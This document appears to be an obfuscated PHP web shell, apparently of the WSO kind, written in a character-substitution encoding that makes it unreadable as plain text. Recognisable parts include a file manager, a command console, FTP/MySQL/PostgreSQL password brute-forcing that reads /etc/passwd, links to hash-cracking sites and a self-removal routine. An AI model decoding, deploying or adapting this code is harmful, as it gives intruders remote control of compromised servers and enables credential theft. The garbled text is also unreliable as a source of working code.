<;Yq^AT_UXCRB
<;FYX]TWqCTPUUXCYWP]BT<;XWWP_UW<;R^AHnAPBETRBWUB
<;LT]BTXWXBnWX]TRB<;qR^AHRBUB
<;L<;W^CTPRYnr~~zxtjWlPBW<;R^AHnAPBETnr~~zxtjRlWv}~sp}bjRFUl
<;LT]BTXWnr~~zxtjPREl\^GTJ<;WD_REX^_\^GTnAPBETRBUJ<;XWXBnUXCRBJ<;\ZUXCUB
<;Yq^AT_UXCRB
<;FYX]TWqCTPUUXCYWP]BT<;XWWP_UW<;R^AHnAPBETRBWUB
<;LT]BTXWqXBnWX]TRB<;qR^AHRBUB
<;L<;W^CTPRYnr~~zxtjWlPBW<;qCT_P\Tnr~~zxtjRlWv}~sp}bjRFUlW
<;LT]BTXWnr~~zxtjPRElKXAJ<;XWR]PBBnTIXBEBkXApCRYXGTJ<;KXA_TFkXApCRYXGT
<;XWKXA^AT_na~bejAl J<;RYUXCnr~~zxtjRl
<;W^CTPRYnr~~zxtjWlPBWJ<;XWW<;R^_EX_DT
<;XWqXBnWX]Tnr~~zxtjRlW<;KXAPUUwX]Tnr~~zxtjRlWW
<;T]BTXWqXBnUXCnr~~zxtjRlWJ<;XETCPE^C_TFcTRDCBXGTxETCPE^CxETCPE^C_TFcTRDCBXGTuXCTRE^CHxETCPE^CWwX]TBHBET\xETCPE^Cbzxanu~eb
<;W^CTPRYXETCPE^CPBZTHGP]DTJ<;KXAPUUwX]TCTP]APEYZTHZTH
<;L<;L<;L<;RYUXCv}~sp}bjRFUl
<;KXAR]^BT
<;L<;L<;LT]BTXWnr~~zxtjPRElD_KXAJ<;XWR]PBBnTIXBEBkXApCRYXGTJ<;KXA_TFkXApCRYXGT
<;W^CTPRYnr~~zxtjWlPBWJ<;XWKXA^AT_nr~~zxtjRlWJ<;KXATIECPREe^v}~sp}bjRFUl
<;KXAR]^BT
<;L<;L<;L<;LT]BTXWnr~~zxtjPRElEPCJ<;RYUXCnr~~zxtjRl
<;nr~~zxtjWlPCCPHn\PATBRPATBYT]]PCVnr~~zxtjWl
<;FB^tIEPCRWKGTBRPATBYT]]PCVna~bejAlX\A]^UTnr~~zxtjWl
<;RYUXCv}~sp}bjRFUl
<;L<;D_BTEnr~~zxtjWl
<;BTER^^ZXTWEX\T
<;SCTPZ
<;UTWPD]E<;XWT\AEHna~bejA lJ<;fb~BTER^^ZXTPREna~bejA l
<;fb~BTER^^ZXTWBTCXP]XKTqna~bejWl
<;fb~BTER^^ZXTRqna~bejRl
<;L<;SCTPZ
<;L<;L<;FB^yTPUTC
<;TRY^Y wX]T\P_PVTCY UXGR]PBBR^_ET_EBRCXAEA nAnAn
BRCXAE
<;UXCr^_ET_EFB^bRP_UXCXBBTEna~bejRlna~bejRlv}~sp}bjRFUl
<;XWUXCr^_ET_EWP]BTJ8TRY^rP_mE^AT_EYXBW^]UTC
FB^w^^ETC
CTEDC_
L<;V]^SP]B^CE
<;B^CEPCCPH_P\T 
<;XWT\AEHna~bejA lJ<;XWACTVn\PERYBnjpKlnmUJ Lna~bejA l\PERY<;B^CEPCCPH\PERYj lX_E\PERYjl
<;L<;TRY^BRCXAE<;8WD_REX^_BPJ<;88W^CX
XUWX]TBT]T\T_EB]T_VEY
X<;888XWUWX]TBT]T\T_EBjXlEHATRYTRZS^I<;8888UWX]TBT]T\T_EBjXlRYTRZTUUWX]TBT]T\T_EBjlRYTRZTU
<;8L<;BRCXAE<;EPS]TFXUEY R]PBB\PX_RT]]BAPRX_VRT]]APUUX_V<;W^C\_P\TWX]TB\TEY^UA^BEECEYFXUEY AIX_ADEEHATRYTRZS^I^_R]XRZBPR]PBBRYZSIEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBn_P\TnB^CEj l mP\TPEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBnBXKTnB^CEj l mbXKTPEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBn\^UXWHnB^CEj l m|^UXWHPEYEY~F_TCvC^DAEYEYPYCTW^_R]XRZVmwX]TB|P_m_D]]mBnATC\BnB^CEj l maTC\XBBX^_BPEYEYpREX^_BEYEC
<;UXCBWX]TBPCCPH
<;_R^D_EUXCr^_ET_E
<;W^CX
X_
XJ<;^FqA^BXInVTEAFDXUqWX]T^F_TCUXCr^_ET_EjXl
<;VCqA^BXInVTEVCVXUqWX]TVC^DAUXCr^_ET_EjXl
<;E\APCCPH_P\TUXCr^_ET_EjXl<;APEYv}~sp}bjRFUlUXCr^_ET_EjXl<;\^UXWHUPETh\UyXBqWX]T\EX\Tv}~sp}bjRFUlUXCr^_ET_EjXl<;ATC\BFB^aTC\Br^]^Cv}~sp}bjRFUlUXCr^_ET_EjXl<;BXKTqWX]TBXKTv}~sp}bjRFUlUXCr^_ET_EjXl<;^F_TC^Fj_P\Tl^Fj_P\TlqWX]T^F_TCUXCr^_ET_EjXl<;VC^DAVCj_P\TlVCj_P\TlqWX]TVC^DAUXCr^_ET_EjXl<;
<;XWqXBnWX]Tv}~sp}bjRFUlUXCr^_ET_EjXl<;WX]TBjlPCCPHn\TCVTE\APCCPHEHATWX]T
<;T]BTXWqXBn]X_Zv}~sp}bjRFUlUXCr^_ET_EjXl<;UXCBjlPCCPHn\TCVTE\APCCPHEHAT]X_Z]X_ZCTPU]X_ZE\AjAPEYl
<;T]BTXWqXBnUXCv}~sp}bjRFUlUXCr^_ET_EjXl<;UXCBjlPCCPHn\TCVTE\APCCPHEHATUXC
<;L<;v}~sp}bjB^CElB^CE
<;WD_REX^_FB^r\APSJ<;XWv}~sp}bjB^CEljlBXKT<;CTEDC_BECR\ABECE^]^FTCPjv}~sp}bjB^CEljllBECE^]^FTCSjv}~sp}bjB^CEljllv}~sp}bjB^CElj l  
<;T]BT<;CTEDC_PjBXKTlSjBXKTl  v}~sp}bjB^CElj l  
<;L<;DB^CEWX]TBFB^r\A
<;DB^CEUXCBFB^r\A
<;WX]TBPCCPHn\TCVTUXCBWX]TB
<;]
<;W^CTPRYWX]TBPBWJ<;TRY^EC]R]PBB] EUX_ADEEHATRYTRZS^I_P\TWjlGP]DTDC]T_R^UTWj_P\TlR]PBBRYZSIEUEUPYCTW^_R]XRZWjEHATlWX]TVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmGXTFmYE\]BATRXP]RYPCBWj_P\TlVmwX]TB|P_mmWjAPEYlm
T\AEHWj]X_ZlEXE]TJWj]X_ZlLSjYE\]BATRXP]RYPCBWj_P\TllSPEUEUWjEHATlWX]TFB^gXTFbXKTWjBXKTlWjEHATlEUEUWj\^UXWHlEUEUWj^F_TClWjVC^DAlEUEUPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmRY\^UmWjATC\Bl<;EUEUPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmCT_P\TmcPPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmE^DRYmePWjEHATlWX]TPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmTUXEmtPPYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTWj_P\TlmmU^F_]^PUmuPEUEC
<;]] 
<;L<;TRY^ECEUR^]BAP_<;8X_ADEEHATYXUUT__P\TPGP]DTwX]TB|P_<;8X_ADEEHATYXUUT__P\TRGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUl<;8X_ADEEHATYXUUT__P\TRYPCBTEGP]DTXBBTEna~bejRYPCBTElna~bejRYPCBTEl<;8BT]TRE_P\TA ^AEX^_GP]DTR^AHr^AH^AEX^_^AEX^_GP]DT\^GT|^GT^AEX^_^AEX^_GP]DTUT]TETuT]TET^AEX^_
<;XWR]PBBnTIXBEBkXApCRYXGT<;TRY^^AEX^_GP]DTKXAr^\ACTBBKXA^AEX^_^AEX^_GP]DTD_KXAd_R^\ACTBBKXA^AEX^_
<;TRY^^AEX^_GP]DTEPCr^\ACTBBEPCVK^AEX^_
<;XWT\AEHnr~~zxtjPRElqR^D_Enr~~zxtjWl<;TRY^^AEX^_GP]DTAPBETaPBETr^\ACTBB^AEX^_
<;TRY^BT]TRE_SBA

<;XWT\AEHnr~~zxtjPRElqR^D_Enr~~zxtjWlnr~~zxtjPRElKXAMMnr~~zxtjPRElEPC<;TRY^WX]T_P\TX_ADEEHATETIE_P\TAGP]DTFB^nUPETh\UnyXBnr~~zxtjPRElKXAKXAEPCVK_SBA

<;TRY^X_ADEEHATBDS\XEGP]DTEUECW^C\EPS]TUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_bECX_Ve^^]BJ<;XWWD_REX^_nTIXBEBYTISX_JWD_REX^_YTISX_AJCTEDC_UTRSX_YTIUTRA
LL<;XWWD_REX^_nTIXBEBSX_YTIJWD_REX^_SX_YTIAJCTEDC_UTRYTISX_UTRA
LL<;XWWD_REX^_nTIXBEBYTIPBRXXJWD_REX^_YTIPBRXXAJC
W^CX
XBEC}T_A
XJCRYCYTIUTRAjXlAjX l
LCTEDC_C
LL<;XWWD_REX^_nTIXBEBPBRXXYTIJWD_REX^_PBRXXYTIAJC
W^CX
XBEC]T_A
XCBACX_EWi^CUAjXl
CTEDC_BECE^DAATCC
LL<;XWWD_REX^_nTIXBEBWD]]nDC]T_R^UTJWD_REX^_WD]]nDC]T_R^UTAJC
W^CX
XBEC]T_A
XCUTRYTI^CUAjXl
CTEDC_BECE^DAATCC
LL<;BECX_Ve^^]BPCCPH<;sPBTT_R^UTSPBTnT_R^UT<;sPBTUTR^UTSPBTnUTR^UT<;dC]T_R^UTDC]T_R^UT<;dC]UTR^UTDC]UTR^UT<;wD]]DC]T_R^UTWD]]nDC]T_R^UT<;\UYPBY\U<;BYP YPBYBYP <;RCHAERCHAE<;rcrRCR<;pbrxxE^ytiPBRXXYTI<;ytiE^pbrxxYTIPBRXX<;ytiE^utrYTIUTR<;ytiE^sxYTISX_<;utrE^ytiUTRYTI<;utrE^sxUTRSX_<;sxE^ytiSX_YTI<;sxE^utrSX_UTR<;bECX_VE^]^FTCRPBTBECE^]^FTC<;bECX_VE^DAATCRPBTBECE^DAATC<;yE\]BATRXP]RYPCBYE\]BATRXP]RYPCB<;bECX_V]T_VEYBEC]T_<;
<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;XWX_nPCCPHna~bejA lBECX_Ve^^]B<;TRY^na~bejA lna~bejAl
<;ET\AU^RD\T_EVTEt]T\T_EsHxUBEC~DEADEBEH]TUXBA]PH
U^RD\T_EVTEt]T\T_EsHxUBEC~DEADEX__TCye|}PUURB]PBYTBYE\]BATRXP]RYPCB^SnVTEnR]TP_m_mCmEmmm
m_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;FB^yTPUTC
<;TRY^Y bECX_VR^_GTCBX^_BY UXGR]PBBR^_ET_E
<;TRY^W^C\_P\TE^^]Bw^C\^_bDS\XEXWEYXBP[PIRYTRZTUJP_D]]_D]]EYXBBT]TREe^^]GP]DTEYXBX_ADEGP]DT
LT]BTJV_D]]_D]]EYXBBT]TREe^^]GP]DTEYXBX_ADEGP]DT
LCTEDC_WP]BT
BT]TRE_P\TBT]TREe^^]
<;W^CTPRYBECX_Ve^^]BPBZG<;TRY^^AEX^_GP]DTYE\]BATRXP]RYPCBGZ^AEX^_
<;TRY^BT]TREX_ADEEHATBDS\XEGP]DTX_ADEEHATRYTRZS^I_P\TP[PIGP]DT qnr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piSCETIEPCTP_P\TX_ADEBEH]T\PCVX_E^AAIR]PBBSXVPCTPT\AEHna~bejA lYE\]BATRXP]RYPCBqna~bejAlETIEPCTPW^C\ACTR]PBB\] BEH]TT\AEHna~bejA lUXBA]PH_^_T
\PCVX_E^AAIXUBEC~DEADE
<;XWT\AEHna~bejA lJ<;XWX_nPCCPHna~bejA lBECX_Ve^^]BTRY^YE\]BATRXP]RYPCBna~bejA lna~bejAl
<;L<;TRY^ACTUXGSCY bTPCRYWX]TBY UXGR]PBBR^_ET_E<;88W^C\^_BDS\XEmV_D]]EYXBRFUGP]DT_D]]EYXBETIEGP]DTEYXBWX]T_P\TGP]DT
CTEDC_WP]BT
mEPS]TRT]]APUUX_V RT]]BAPRX_VFXUEY<;888ECEUFXUEY eTIEEUEUX_ADEEHATETIE_P\TETIEBEH]TFXUEY EUEC<;888ECEUaPEYEUEUX_ADEEHATETIE_P\TRFUGP]DTYE\]BATRXP]RYPCBv}~sp}bjRFUlBEH]TFXUEY EUEC<;888ECEUP\TEUEUX_ADEEHATETIE_P\TWX]T_P\TGP]DTBEH]TFXUEY EUEC<;888ECEUEUEUX_ADEEHATBDS\XEGP]DTEUEC<;888EPS]TW^C\
<;<;WD_REX^_FB^cTRDCBXGTv]^SAPEYJ<;XWBDSBECAPEY <;APEY
<;APEYBqPCCPHnD_X@DTqPCCPHn\TCVTqV]^SAPEYna~bejAlqV]^SAPEYv}~sn~}huxc
<;XWXBnPCCPHAPEYBqR^D_EAPEYBJ<;W^CTPRYAPEYBPBXET\J<;XWqXBnUXCXET\J<;XWAPEYXET\<;FB^cTRDCBXGTv]^SXET\
<;LT]BTJ<;XWT\AEHna~bejAlMMqBECA^BWX]TnVTEnR^_ET_EBXET\na~bejAlWP]BT<;TRY^PYCTW^_R]XRZVmwX]TBe^^]Bm_D]]mDC]T_R^UTXET\mmGXTFmmmYE\]BATRXP]RYPCBXET\PSC
<;L<;L<;L<;L<;XWqna~bejAl<;FB^cTRDCBXGTv]^Sna~bejRl
<;TRY^UXGSCY bTPCRYW^CYPBYY UXGR]PBBR^_ET_E<;88W^C\\TEY^UA^BEEPCVTEnS]P_Z_P\TYW<;888X_ADEEHATETIE_P\TYPBYBEH]TFXUEYAI
SC<;X_ADEEHATYXUUT__P\TPREGP]DTWX_U<;888X_ADEEHATSDEE^_GP]DTYPBYRCPRZX_VCD^_R]XRZmU^RD\T_EYWPREX^_YEEABYPBYRCPRZX_VCDX_UTIAYA
U^RD\T_EYWBDS\XEmSC<;888X_ADEEHATSDEE^_GP]DT\UCTU_^XKTR^\^_R]XRZmU^RD\T_EYWPREX^_YEEA\UCTU_^XKTR^\@U^RD\T_EYWYPBYGP]DTB\U
U^RD\T_EYWBDS\XEmSC<;X_ADEEHATSDEE^_GP]DTRCPRZW^C\T^_R]XRZmU^RD\T_EYWPREX^_YEEARCPRZW^C\TX_UTIAYA
U^RD\T_EYWBDS\XEmSC<;88W^C\UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_wX]TBe^^]BJ<;XWXBBTEna~bejA l<;na~bejA lDC]UTR^UTna~bejA l
<;XWqna~bejAlU^F_]^PUJ<;XWqXBnWX]Tna~bejA lqXBnCTPUPS]Tna~bejA lJ<;^SnBEPCE^SnVKYP_U]TC
<;YTPUTCr^_ET_EuXBA^BXEX^_PEEPRY\T_E
WX]T_P\TSPBT_P\Tna~bejA l
<;XWWD_REX^_nTIXBEB\X\TnR^_ET_EnEHATJ<;EHATq\X\TnR^_ET_EnEHATna~bejA l
<;YTPUTCr^_ET_EeHATEHAT
<;LT]BT<;YTPUTCr^_ET_EeHATPAA]XRPEX^_^RETEBECTP\
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^qWCTPUWA 
<;WR]^BTWA
<;L<;LTIXE
<;L<;XWqna~bejAl\ZWX]TJ<;XWWX]TnTIXBEBna~bejA lJ<;WAqW^AT_na~bejA lF
<;XWWAJ<;na~bejAlTUXE
<;WR]^BTWA
<;L<;L<;L<;FB^yTPUTC
<;TRY^Y wX]TE^^]BY UXGR]PBBR^_ET_E
<;XWWX]TnTIXBEBqna~bejA lJ<;TRY^wX]T_^ETIXBEB
<;FB^w^^ETC
<;CTEDC_
<;L<;DXUqA^BXInVTEAFDXUqWX]T^F_TCna~bejA l
<;XWDXUJ<;DXUj_P\TlqWX]T^F_TCna~bejA l
<;VXUj_P\TlqWX]TVC^DAna~bejA l
<;LT]BTVXUqA^BXInVTEVCVXUqWX]TVC^DAna~bejA l
<;TRY^BAP_P\TBAP_YE\]BATRXP]RYPCBqSPBT_P\Tna~bejA lBAP_bXKTBAP_XBnWX]Tna~bejA lFB^gXTFbXKTWX]TBXKTna~bejA lBAP_aTC\XBBX^_BAP_FB^aTC\Br^]^Cna~bejA lBAP_~F_TCvC^DABAP_DXUj_P\TlVXUj_P\TlSC
<;TRY^BAP_rYP_VTEX\TBAP_UPETh\UyXBWX]TREX\Tna~bejA lBAP_pRRTBBEX\TBAP_UPETh\UyXBWX]TPEX\Tna~bejA lBAP_|^UXWHEX\TBAP_UPETh\UyXBWX]T\EX\Tna~bejA lSCSC
<;XWT\AEHna~bejAl<;na~bejAlGXTF
<;XWXBnWX]Tna~bejA l<;\PCCPHgXTFyXVY]XVYEu^F_]^PUyTIUD\AtUXErY\^UcT_P\Te^DRY
<;T]BT<;\PCCPHrY\^UcT_P\Te^DRY
<;W^CTPRY\PBG<;TRY^PYCTW^_R]XRZV_D]]_D]]mDC]T_R^UTna~bejA lmmBECE^]^FTCGmBECE^]^FTCGqna~bejAlSjGlSGP
<;TRY^SCSC
<;BFXERYna~bejAlJ<;RPBTGXTF<;TRY^ACTR]PBB\] 
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^YE\]BATRXP]RYPCBqWCTPUWA 
<;qWR]^BTWA
<;L<;TRY^ACT
<;SCTPZ
<;RPBTYXVY]XVYE<;XWqXBnCTPUPS]Tna~bejA lJ<;TRY^UXGR]PBB\] BEH]TSPRZVC^D_UR^]^CT T T 
R^]^CS]PRZ

<;R^UTqYXVY]XVYEnWX]Tna~bejA lECDT
<;TRY^BECnCTA]PRTPCCPHBAP_BAP_PCCPHW^_EW^_ER^UTUXG
<;L<;SCTPZ
<;RPBTRY\^U<;XWT\AEHna~bejAlJ<;ATC\B
<;W^CXBEC]T_na~bejAl 
X
X<;ATC\BX_Ena~bejAljXlA^F	BEC]T_na~bejAlX 
<;XWqRY\^Una~bejA lATC\B<;TRY^rP_mEBTEATC\XBBX^_BSCBRCXAEU^RD\T_E\WAGP]DT
BRCXAE
<;L<;R]TPCBEPERPRYT
<;TRY^BRCXAEAn
BRCXAEW^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXBRY\^UGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\TRY\^UGP]DTBDSBECBACX_EW^WX]TATC\Bna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTTUXE<;XWXBnFCXEPS]Tna~bejA lJ<;TRY^wX]TXB_mEFCXETPS]T
<;SCTPZ
<;L<;XWT\AEHna~bejAlJ<;EX\TqWX]T\EX\Tna~bejA l
<;na~bejAlBDSBECna~bejAl 
<;WAqW^AT_na~bejA lF
<;XWWAJ<;qWFCXETWAna~bejAl
<;qWR]^BTWA
<;TRY^bPGTUSCBRCXAEAn
BRCXAE
<;qE^DRYna~bejA lEX\TEX\T
<;L<;L<;TRY^W^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]m mEYXBETIEGP]DT
CTEDC_WP]BT
ETIEPCTP_P\TETIER]PBBSXVPCTP
<;WAqW^AT_na~bejA lC
<;XWWAJ<;FYX]TqWT^WWA<;TRY^YE\]BATRXP]RYPCBqWCTPUWA 
<;qWR]^BTWA
<;L<;TRY^ETIEPCTPX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTYTIUD\A<;RqWX]TnVTEnR^_ET_EBna~bejA l
<;_
<;YPCCPHSC
<;]T_BEC]T_R
<;W^CX
X]T_
XJ<;Yj lBACX_EWi^CURjXl
<;BFXERY^CURjXlJ<;RPBTYjl
SCTPZ
<;RPBTYjl
SCTPZ
<;RPBT Yjl
SCTPZ
<;RPBT Yjl
SCTPZ
<;UTWPD]EYjlRjXl
SCTPZ
<;L<;_
<;XW_J<;_
<;XWX ]T_JYjlBACX_EW	iX SC
L<;Yj lSC
<;Yjlm_
<;L<;L<;TRY^EPS]TRT]]BAPRX_V RT]]APUUX_VSVR^]^CECEUSVR^]^CBAP_BEH]TW^_EFTXVYE_^C\P]
ACTYjlACTBAP_EUEUSVR^]^C			ACTYj lACTEUEUSVR^]^CACTYE\]BATRXP]RYPCBYjlACTEUECEPS]T
<;SCTPZ
<;RPBTCT_P\T<;XWT\AEHna~bejAlJ<;XWqCT_P\Tna~bejA lna~bejAl<;TRY^rP_mECT_P\TSC
<;T]BT<;UXTBRCXAEV_D]]_D]]DC]T_R^UTna~bejAl_D]]BRCXAE
<;L<;TRY^W^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXB_P\TGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\T_P\TGP]DTYE\]BATRXP]RYPCBna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;RPBTE^DRY<;XWT\AEHna~bejAlJ<;EX\TBECE^EX\Tna~bejAl
<;XWEX\TJ<;XWE^DRYna~bejA lEX\TEX\T<;TRY^wPX]
<;T]BT<;TRY^e^DRYTU
<;LT]BTTRY^sPUEX\TW^C\PE
<;L<;R]TPCBEPERPRYT
<;TRY^BRCXAEAn
BRCXAEW^C\^_BDS\XEV_D]]_D]]mDC]T_R^UTna~bejA lm_D]]EYXBE^DRYGP]DT
CTEDC_WP]BT
X_ADEEHATETIE_P\TE^DRYGP]DTUPETh\UyXBqWX]T\EX\Tna~bejA lX_ADEEHATBDS\XEGP]DTW^C\
<;SCTPZ
<;L<;TRY^UXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_r^_B^]TJ<;XWT\AEHna~bejA lT\AEHna~bejAlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belBEUTCCnE^n^DEECDT
<;na~bejA l 
<;LT]BTXWT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belBEUTCCnE^n^DE
<;<;XWXBBTEna~bejP[PIlJ<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PIECDT
<;^SnBEPCE
<;TRY^URWR\UGP]DT
m_
<;ET\AqXR^_Gna~bejRYPCBTEldew	PUURB]PBYTBm_na~bejA lm_FB^tIna~bejA lm_mCmEmmm
<;XWACTVn\PERYRUmBjo
lna~bejA l\PERY8J<;XWqRYUXC\PERYj lJ<;v}~sp}bjRFUlqVTERFU
<;TRY^Rnv}~sp}bjRFUl

<;L<;L<;TRY^URW^DEADEGP]DTET\A

<;TRY^URW^DEADEBRC^]]e^AURW^DEADEBRC^]]yTXVYE

<;ET\A^SnVTEnR]TP_
<;TRY^BEC]T_ET\Am_ET\A
<;TIXE
<;L<;XWT\AEHna~bejP[PIlT\AEHna~bejA l<;fb~BTER^^ZXT\Unbtcgtcjyeeany~belP[PI
<;FB^yTPUTC
<;TRY^BRCXAE<;XWFX_U^FtGT_EFX_U^FRPAEDCTtGT_EBtGT_Ezthu~f
<;GPCR\UB_TFpCCPH
<;GPCRDC
<;WD_REX^_ZATJ<;8GPC_FX_U^FtGT_ETFYXRYTZTHr^UT
<;8XW_	J<;88RDC
<;88XWRDC<;888U^RD\T_ERWR\UGP]DTR\UBjRDCl
<;88T]BT<;888RDC
<;8LT]BTXW_J<;88RDC
<;88XWRDCR\UB]T_VEY<;888U^RD\T_ERWR\UGP]DTR\UBjRDCl
<;88T]BT<;888RDC
<;8L<;L<;WD_REX^_PUUR\UJ<;8R\UBA^A
<;8R\UBADBYR\U
<;8R\UBADBY
<;8RDCR\UB]T_VEY 
<;L<;BRCXAE
<;TRY^Y r^_B^]TY UXGR]PBBR^_ET_EW^C\_P\TRW^_BDS\XEXWURWR\UGP]DTmR]TPCmJURW^DEADEGP]DTmm
URWR\UGP]DTmm
CTEDC_WP]BT
LPUUEYXBR\UGP]DT
XWEYXBP[PIRYTRZTUJP_D]]_D]]EYXBR\UGP]DTEYXBBY^FnTCC^CBRYTRZTU mm
LT]BTJV_D]]_D]]EYXBR\UGP]DTEYXBBY^FnTCC^CBRYTRZTU mm
LCTEDC_WP]BT
BT]TRE_P\TP]XPB
<;W^CTPRYv}~sp}bjP]XPBTBlPB_GJ<;XWGJ<;TRY^^AEVC^DA]PST]YE\]BATRXP]RYPCB_^AEVC^DA
<;R^_EX_DT
<;L<;TRY^^AEX^_GP]DTYE\]BATRXP]RYPCBG_^AEX^_
<;L<;<;TRY^BT]TREX_ADEEHATSDEE^_^_R]XRZPUUURWP]XPBGP]DT
XWURWP[PIRYTRZTUJP_D]]_D]]URWP]XPBGP]DTURWBY^FnTCC^CBRYTRZTU mm
LT]BTJV_D]]_D]]URWP]XPBGP]DTURWBY^FnTCC^CBRYTRZTU mm
LGP]DT_^SCX_ADEEHATRYTRZS^I_P\TP[PIGP]DT qnr~~zxtj\Unbtcgtcjyeeany~belP[PIlRYTRZTUBT_UDBX_Vp{piX_ADEEHATRYTRZS^I_P\TBY^FnTCC^CBGP]DT T\AEHna~bejAlMMnr~~zxtj\Unbtcgtcjyeeany~belBEUTCCnE^n^DElRYTRZTUCTUXCTREBEUTCCE^BEU^DE _^SCSCETIEPCTPR]PBBSXVPCTP_P\T^DEADEBEH]TS^CUTCS^EE^\
\PCVX_
CTPU^_]H
<;XWT\AEHna~bejA lJ<;TRY^YE\]BATRXP]RYPCBna~bejA lm_FB^tIna~bejA l
<;L<;TRY^ETIEPCTPEPS]TBEH]TS^CUTC AIB^]XUUW
SPRZVC^D_UR^]^C
S^CUTCE^AAI
RT]]APUUX_VRT]]BAPRX_VFXUEY ECEUFXUEY EUEUX_ADEEHATETIE_P\TR\UBEH]TS^CUTCAI
FXUEY 
^_ZTHU^F_ZATGT_E
EUECEPS]T
<;TRY^W^C\UXGBRCXAEURWR\UW^RDB
BRCXAE
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_}^V^DEJ<;BTER^^ZXT\Unbtcgtcjyeeany~belEX\T
<;UXTSHT
<;L<;<;WD_REX^_PREX^_bT]WcT\^GTJ<;<;XWna~bejA lHTB<;XWqD_]X_ZACTVnCTA]PRTmmUmmBnnwx}tnn<;UXTbYT]]YPBSTT_CT\^GTU
<;T]BT<;TRY^D_]X_ZTCC^C
<;XWna~bejA lHTB<;FB^yTPUTC
<;TRY^Y bDXRXUTY UXGR]PBBR^_ET_EcTP]]HFP_EE^CT\^GTEYTBYT]]SCPYCTW^_R]XRZV_D]]_D]]mHTBmhTBPUXG
<;FB^w^^ETC
<;L<;<;WD_REX^_PREX^_sCDETW^CRTJ<;FB^yTPUTC
<;XWXBBTEna~bejAC^E^lJ<;TRY^Y cTBD]EBY UXGR]PBBR^_ET_EBAP_eHATBAP_YE\]BATRXP]RYPCBna~bejAC^E^lBAP_bTCGTCBAP_YE\]BATRXP]RYPCBna~bejBTCGTClSC
<;XWna~bejAC^E^lWEAJ<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;WAqWEAnR^__TREXAA^CEA^CE 
<;XWWACTEDC_WP]BT
<;CTBqWEAn]^VX_WA]^VX_APBB
<;qWEAnR]^BTWA
<;CTEDC_CTB
<;L<;LT]BTXWna~bejAC^E^l\HB@]J<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;CTBq\HB@]nR^__TREXAA^CEA^CE]^VX_APBB
<;q\HB@]nR]^BTCTB
<;CTEDC_CTB
<;L<;LT]BTXWna~bejAC^E^lAVB@]J<;WD_REX^_FB^sCDETw^CRTXAA^CE]^VX_APBBJ<;BECY^BEXAA^CEA^CEDBTC]^VX_APBBF^CUAPBBUS_P\TA^BEVCTB
<;CTBqAVnR^__TREBEC
<;qAVnR]^BTCTB
<;CTEDC_CTB
<;L<;L<;BDRRTBB
<;PEET\AEB
<;BTCGTCTIA]^UTna~bejBTCGTCl
<;XWna~bejEHATl J<;ET\AqWX]TTERAPBBFU
<;XWXBnPCCPHET\A<;W^CTPRYET\APB]X_TJ<;]X_TTIA]^UT]X_T
<;PEET\AEB
<;XWFB^sCDETw^CRTqBTCGTCjlqBTCGTCj l]X_Tjl]X_TjlJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCB]X_TjlSYE\]BATRXP]RYPCB]X_TjlSC
<;L<;XWqna~bejCTGTCBTlJ<;E\A
<;W^CXBEC]T_]X_Tjl 
X
X<;E\A]X_TjljXl
<;PEET\AEB
<;XWFB^sCDETw^CRTqBTCGTCjlqBTCGTCj l]X_TjlE\AJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCB]X_TjlSYE\]BATRXP]RYPCBE\A
<;L<;L<;L<;LT]BTXWna~bejEHATlJ<;ET\AqWX]Tna~bejUXREl
<;XWXBnPCCPHET\A<;W^CTPRYET\APB]X_TJ<;]X_TECX\]X_T
<;PEET\AEB
<;XWFB^sCDETw^CRTBTCGTCjlqBTCGTCj lna~bej]^VX_l]X_TJ<;BDRRTBB
<;TRY^SYE\]BATRXP]RYPCBna~bej]^VX_lSYE\]BATRXP]RYPCB]X_TSC
<;L<;L<;L<;TRY^BAP_pEET\AEBBAP_PEET\AEBBAP_bDRRTBBBAP_BDRRTBBUXGSC
